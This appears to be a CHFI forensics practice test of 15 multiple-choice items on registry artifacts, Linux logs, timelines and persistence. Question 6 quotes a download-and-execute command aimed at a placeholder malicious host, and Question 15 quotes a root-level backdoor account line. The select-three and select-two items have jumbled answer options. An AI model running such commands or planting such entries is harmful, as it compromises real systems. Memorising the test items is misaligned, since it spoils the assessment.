CHFI Practice Test 33 — 15 Questions

Question 1

A forensic tool outputs a timeline of file system events. The analyst needs to correlate registry modifications with file creation times. Which tool is specifically designed for super timeline creation from multiple sources?

Accepted Answer

Plaso. Plaso (log2timeline) is a timeline creation tool that aggregates data from various forensic artifacts into a super timeline.

Answer

Autopsy

Answer

Volatility

Answer

Sleuth Kit

Question 2

An analyst is reviewing a Linux system for signs of a rootkit. Which THREE of the following are common indicators of a rootkit infection? (Select THREE.)

Accepted Answer

Anomalies in the /proc filesystem. Loadable kernel modules (LKM) are a common rootkit technique. Modified system binaries and hidden processes are also typical indicators.

Answer

Incorrect file permissions on /etc/passwd

Answer

Large number of failed SSH login attempts

Question 3

In Windows registry forensics, which key is examined to identify USB devices that were connected to the system?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR contains a list of all USB storage devices that have been connected, including their serial numbers.

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Answer

HKLM\SAM\SAM\Domains\Account\Users

Question 4

A Windows system's registry key 'HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR' contains a subkey with a serial number. What does this artifact indicate?

Accepted Answer

A USB storage device was attached. The USBSTOR registry key records the serial numbers of USB storage devices that have been connected to the system. Its presence indicates a USB device was attached.

Answer

A USB network adapter was attached

Answer

A USB printer was attached

Answer

A USB keyboard was attached

Question 5

In Windows forensics, which artifact is used to track recently executed programs on a per-user basis?

Accepted Answer

UserAssist. UserAssist keys in the NTUSER.DAT hive store information about programs executed via Windows Explorer, including run count and last execution time.

Answer

Jump lists

Answer

ShellBags

Answer

Prefetch files

Question 6

During a forensic investigation of a compromised Linux server, the investigator examines the bash_history file of the root user. She finds the command: wget http://malicious.site/shell.sh && chmod +x shell.sh && ./shell.sh. What is the MOST likely intent of this command sequence?

Accepted Answer

Download and execute a web shell for persistent remote access. The commands download a shell script, make it executable, and run it. This is typical of a web shell download and execution, providing remote access to the attacker.

Answer

Compile a kernel module

Answer

Update the system packages

Answer

Perform a system backup to a remote server

Question 7

During a forensic investigation of a compromised Linux server, you find the following entry in /var/log/auth.log: 'Mar 10 03:14:15 server sshd[1234]: Accepted publickey for root from 10.0.0.5 port 54321 ssh2: RSA SHA256:AbCdEf123456'. Which artifact should you examine next to determine if unauthorized key-based access occurred?

Accepted Answer

~/.ssh/authorized_keys. The log shows acceptance of a public key. To determine if the key was unauthorized, you must examine the authorized_keys file for root (~/.ssh/authorized_keys) to see if the key was added maliciously.

Answer

/var/log/syslog

Answer

/etc/ssh/sshd_config

Answer

/etc/passwd

Question 8

Which TWO of the following tools are primarily used for timeline analysis in digital forensics? (Select TWO.)

Accepted Answer

The Sleuth Kit (mactime). Plaso (log2timeline) and The Sleuth Kit (with mactime) are both used to create super timelines from file system metadata.

Answer

Nmap

Answer

Autopsy

Answer

Wireshark

Question 9

During a Linux forensic investigation, you find that the file /var/log/auth.log has been deleted. Which of the following artefacts would BEST help determine recent SSH login attempts?

Accepted Answer

Output of the 'last' command. The 'last' command reads /var/log/wtmp, which records all logins and logouts, including SSH sessions.

Answer

Contents of /etc/shadow

Answer

Bash history from /root/.bash_history

Answer

Cron job entries in /etc/crontab

Question 10

A forensic analyst is examining a Windows system and finds a prefetch file named NOTEPAD.EXE-12345678.pf. What information can be gleaned from this artifact? (Select the BEST answer.)

Accepted Answer

It records the application's execution count and last run time. Prefetch files contain the number of times the application was run, last run time, and a list of files loaded during execution. They do not store network connections or user-specific data.

Answer

It saves a copy of the application's configuration

Answer

It logs all network connections made by the application

Answer

The file contains the user's password for the application

Question 11

An incident responder examines a Linux server and finds a suspicious cron job that runs every minute and executes a script located in /tmp. Which persistence technique does this represent?

Accepted Answer

Cron-based persistence. Cron jobs are a common persistence mechanism on Linux. Attackers often use frequent cron jobs to maintain access.

Answer

Kernel rootkit

Answer

Web shell

Answer

SSH key backdoor

Question 12

During a forensic analysis of a Linux system, the investigator finds that the bash_history file is empty for the root user. However, the system has been used actively. What is the MOST likely explanation?

Accepted Answer

The HISTSIZE environment variable is set to 0 or the history file is redirected to /dev/null. If HISTSIZE is set to 0 or the history file is a symlink to /dev/null, commands are not recorded. This is common in forensic evasion.

Answer

The system was shut down improperly

Answer

The file is corrupted

Answer

The user deleted the history

Question 13

Which of the following is a significant challenge in cloud forensics compared to traditional digital forensics?

Accepted Answer

Multi-tenancy and data segregation. Multi-tenancy in cloud environments means that evidence from one tenant may be co-mingled with data from other tenants, and isolation can be difficult.

Answer

Inability to collect memory dumps

Answer

Lack of logging

Answer

Data volatility

Question 14

During a forensic analysis of a compromised Linux system, you notice that the /proc filesystem contains a suspicious entry /proc/12345/exe pointing to /tmp/.hidden/malware. What conclusion can you draw?

Accepted Answer

A process with PID 12345 is running the malware. /proc/[pid]/exe is a symbolic link to the executable of a running process. The entry indicates a process with PID 12345 is running from a hidden file in /tmp, strongly suggesting malware execution.

Answer

The system was rebooted recently

Answer

The malware is a kernel module

Answer

The malware was executed via a cron job

Question 15

A forensic examiner finds a suspicious entry in the Linux file /etc/passwd: 'backdoor:x:0:0:root:/root:/bin/bash'. What is the MOST significant security issue with this entry?

Accepted Answer

The UID is 0, granting root privileges. A UID of 0 gives root privileges; the username 'backdoor' with UID 0 indicates a backdoor account with superuser access.

Answer

The entry has no password hash

Answer

The home directory is set to /root

Answer

The shell is /bin/bash